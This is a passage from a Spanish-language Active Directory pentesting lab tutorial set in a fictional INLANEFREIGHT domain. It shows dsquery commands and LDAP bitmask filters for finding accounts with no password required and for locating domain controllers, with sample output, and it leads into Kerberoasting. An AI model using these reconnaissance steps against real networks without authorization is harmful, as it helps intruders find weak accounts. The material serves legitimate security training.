"CN=krbtgt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Domain Computers,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Domain Controllers,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Schema Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Cert Publishers,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Domain Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Domain Guests,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Group Policy Creator Owners,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=RAS and IAS Servers,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Allowed RODC Password Replication Group,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Denied RODC Password Replication Group,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Read-only Domain Controllers,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Enterprise Read-only Domain Controllers,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Cloneable Domain Controllers,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Protected Users,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Key Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Enterprise Key Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=DnsAdmins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=DnsUpdateProxy,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=certsvc,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Jessica Ramsey,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=svc_vmwaresso,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

<SNIP>

Por supuesto, podemos combinar dsquery con filtros de búsqueda LDAP de nuestra elección. A continuación se muestra una búsqueda de usuarios con la flag PASSWD_NOTREQD establecida en el atributo userAccountControl.

Users With Specific Attributes Set (PASSWD_NOTREQD)

PS C:\htb> dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

  distinguishedName                                                                              userAccountControl
  CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                    66082
  CN=Marion Lowe,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL      66080
  CN=Yolanda Groce,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL    66080
  CN=Eileen Hamilton,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL    66080
  CN=Jessica Ramsey,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                           546
  CN=NAGIOSAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL                           544
  CN=LOGISTICS$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                               2080
  CN=FREIGHTLOGISTIC$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                         2080

El siguiente filtro de búsqueda busca todos los Controladores de Dominio en el dominio actual, limitando a cinco resultados.

Searching for Domain Controllers

PS C:\Users\forend.INLANEFREIGHT> dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

 sAMAccountName
 ACADEMY-EA-DC01$

LDAP Filtering Explained

Notarás en las consultas anteriores que estamos usando strings como userAccountControl:1.2.840.113556.1.4.803:=8192. Estos strings son consultas LDAP comunes que se pueden usar con varias herramientas diferentes también, incluyendo AD PowerShell, ldapsearch, y muchas otras. Vamos a desglosarlas rápidamente:

userAccountControl:1.2.840.113556.1.4.803: especifica que estamos buscando los atributos de User Account Control (UAC) para un objeto. Esta parte puede cambiar para incluir tres valores diferentes que explicaremos a continuación cuando busquemos información en AD (también conocido como Object Identifiers (OIDs)).
=8192 representa la máscara de bits decimal que queremos que coincida en esta búsqueda. Este número decimal corresponde a una flag de atributo UAC correspondiente que determina si se establece un atributo como password is not required o account is locked. Estos valores pueden componerse y hacer múltiples entradas de bits diferentes. A continuación se muestra una lista rápida de valores potenciales.

UAC Values

text

OID match strings

Los OIDs son reglas utilizadas para hacer coincidir valores de bits con atributos, como se ve arriba. Para LDAP y AD, hay tres reglas principales de coincidencia:

  1. 1.2.840.113556.1.4.803

Cuando usamos esta regla como lo hicimos en el ejemplo anterior, estamos diciendo que el valor del bit debe coincidir completamente para cumplir con los requisitos de búsqueda. Excelente para coincidir con un atributo singular.

  1. 1.2.840.113556.1.4.804

Cuando usamos esta regla, estamos diciendo que queremos que nuestros resultados muestren cualquier coincidencia de atributo si cualquier bit en la cadena coincide. Esto funciona en el caso de que un objeto tenga múltiples atributos establecidos.

  1. 1.2.840.113556.1.4.1941

Esta regla se utiliza para filtrar búsquedas que se aplican al Distinguished Name de un objeto y buscará a través de todas las entradas de propiedad y membresía.

Logical Operators

Al construir strings de búsqueda, podemos utilizar operadores lógicos para combinar valores para la búsqueda. Los operadores & | y ! se usan para este propósito. Por ejemplo, podemos combinar múltiples criterios de búsqueda con el operador & (and) así:
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))

El ejemplo anterior establece el primer criterio de que el objeto debe ser un usuario y lo combina con la búsqueda de un valor de bit UAC de 64 (Password Can't Change). Un usuario con ese atributo establecido coincidiría con el filtro. Puedes llevar esto aún más lejos y combinar múltiples atributos como (&(1) (2) (3)). Los operadores ! (not) y | (or) pueden funcionar de manera similar. Por ejemplo, nuestro filtro anterior puede modificarse de la siguiente manera:
(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))

Esto buscaría cualquier objeto de usuario que no tenga el atributo Password Can't Change establecido. Al pensar en usuarios, grupos y otros objetos en AD, nuestra capacidad de búsqueda con consultas LDAP es bastante extensa.

Se puede hacer mucho con filtros UAC, operadores y coincidencias de atributos con reglas OID. Por ahora, esta explicación general debería ser suficiente para cubrir este módulo. Para obtener más información y una inmersión más profunda en el uso de este tipo de búsqueda de filtros, consulte el módulo Active Directory LDAP.


Ahora hemos utilizado nuestro punto de apoyo para realizar la enumeración con credenciales con herramientas en hosts de ataque Linux y Windows y utilizando herramientas integradas y validado la información de host y dominio. Hemos demostrado que podemos acceder a hosts internos, el password spraying y el envenenamiento LLMNR/NBT-NS funcionan y que podemos utilizar herramientas que ya residen en los hosts para realizar nuestras acciones. Ahora llevaremos esto un paso más allá y abordaremos una TTP que todo pentester de AD debería tener en su arsenal, Kerberoasting.